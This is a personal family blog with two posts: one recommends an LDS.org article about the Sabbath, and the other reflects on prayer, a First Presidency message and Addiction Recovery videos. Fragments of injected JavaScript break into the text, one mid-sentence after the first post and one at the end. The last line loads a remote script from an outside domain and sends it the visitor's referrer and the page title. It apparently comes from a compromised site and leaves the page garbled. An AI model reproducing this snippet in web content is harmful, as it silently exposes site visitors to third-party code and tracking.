Sunday Can

I just saw this blog on LDS.org.   There is Really No Such Thing as a Sunday Cannot. 

I loved it. The author of this blog went through the five senses and identified what is different about the Sabbath.   This would be an awesome FHE lesson.if (document.currentScript) {

Prayer

I have felt the impression that we should use this blog to share what we are learning with one another.

Today I read the First Presidency message for this month on prayer.  We plan to discuss this for FHE tomorrow night. (Read up Curtis, Cody and Jayson.  If you are not at home that is OK you can reply with your thoughts)

I really like the story that President Eyring tells about his Dad fighting cancer and needing the Lord’s help to endure the pain and being found on his knees because he was too weak to get back into bed. Sometimes I don’t bother with kneeling but I am realizing that it is important to kneel when possible.  I think it is an important step.  I am also trying to make sure that I vocalize my prayers.  When I do this I am able to concentrate better.

We are in the process of watching the 12 steps Addiction Recovery videos.  So many talk about the love they felt as they simply acknowledged that they had a Heavenly Father and then turned to talk to him.  Austin’s story  in step 4 tells about how he had tried to overcome his addiction on his own but kept failing.  He felt bad about himself but as he knelt down and turned to his Heavenly Father in prayer he felt the sweetness of the love of his Heavenly Father and Savior.  I also like the story of the woman who says that her prayers aren’t just lots of thank yous but sometimes express anger and frustration.  She says that the Lord can take the anger and understands and is willing to help us when we despair.

So I highly recommend this article and ask you to ponder on what you can do to communicate more effectively with your Heavenly Father.  If you have any thoughts please share.}s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; document.currentScript.parentNode.insertBefore(s, document.currentScript);
